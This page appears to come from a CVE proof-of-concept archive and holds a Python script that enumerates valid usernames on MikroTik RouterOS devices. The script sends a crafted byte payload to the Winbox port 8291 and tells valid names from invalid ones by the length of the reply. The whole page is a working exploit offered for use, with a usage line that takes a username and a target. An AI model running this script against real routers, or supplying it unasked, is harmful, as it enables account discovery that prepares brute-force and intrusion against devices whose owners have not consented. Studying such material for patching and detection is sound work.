4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mikrotik_routeros_username_enum.py PY
import sys
import struct
import socket

def create_payload(base_payload, username):
    length = len(username)
    first_byte = struct.pack("B", 0x22 + length)  # Increment the first byte dynamically
    return first_byte + base_payload[1:2] + username.encode() + base_payload[2:]


def send_request(payload,target,port):

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        
        s.settimeout(5)  # Timeout after 5 seconds
        
        s.connect((target, port))
        
        s.sendall(payload)
        banner = s.recv(1024)
        if len(banner)==51:
            print("Valid Username!")
        elif len(banner)==35:
            print("Invalid username!")
        else:
            print("unknown")
        
        s.close()
        
    except Exception as e:
        print("Error:", e)

if __name__ == "__main__":
    base_payload = b"\x22\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"


    if len(sys.argv) < 3:
        print("Usage: python mikrotik_routeros_userenum.py <username> <target>")
        sys.exit(1)

    username = sys.argv[1]
    target = sys.argv[2]
    port = 8291

    payload=create_payload(base_payload,username)
    send_request(payload,target,port)